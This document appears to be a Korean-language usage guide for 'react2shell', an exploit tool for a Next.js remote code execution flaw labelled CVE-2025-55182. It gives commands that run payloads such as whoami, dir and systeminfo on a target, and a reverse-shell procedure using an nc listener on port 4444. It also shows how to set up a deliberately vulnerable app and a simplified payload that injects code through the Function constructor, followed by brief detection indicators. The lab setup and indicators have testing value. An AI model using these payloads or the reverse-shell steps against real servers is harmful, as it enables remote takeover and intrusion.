# 저장소 복제 또는 다운로드
git clone https://github.com/zr0n/react2shell
cd react2shell

# 의존성 설치
npm install form-data

node react2shell.js <target_url> <payload_type> [options]

node react2shell.js http://localhost:3000 basic
# 서버 콘솔에서 출력 확인: EXPLOITED: 50

# 현재 사용자 확인
node react2shell.js http://localhost:3000 whoami

# 파일 목록
node react2shell.js http://localhost:3000 dir

# 시스템 정보
node react2shell.js http://localhost:3000 systeminfo

# 계산기 실행
node react2shell.js http://localhost:3000 calc

# 메모장 실행
node react2shell.js http://localhost:3000 notepad

node react2shell.js http://localhost:3000 file
# 서버 디렉터리에서 EXPLOITED.txt 확인

# 터미널 1: 리스너 시작
nc -lvnp 4444

# 터미널 2: 익스플로잇 실행
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444

# Windows (PowerShell) 및 Linux (Bash) 모두에서 작동

# 프로젝트 디렉터리 생성
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app

# 취약한 버전으로 Next.js 초기화
npx create-next-app@latest . --ts --app --no-eslint --tailwind

# 취약한 버전으로 다운그레이드
npm install [email protected]

# 의존성 설치
npm install

export default function Home() {
  return (
    <div className="p-8">
      <h1 className="text-4xl font-bold">취약한 Next.js 앱</h1>
      <p className="mt-4">이 앱은 CVE-2025-55182에 취약합니다</p>
    </div>
  );
}

npm run dev
# 서버가 http://localhost:3000 에서 실행됩니다

// 단순화된 취약점 체인
{
  _formData: {
    get: '$3:constructor:constructor' // Function 생성자 접근
  },
  _prefix: 'YOUR_CODE_HERE//' // 주입된 코드
}

POST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (성공적 익스플로잇) 또는 500 (실패)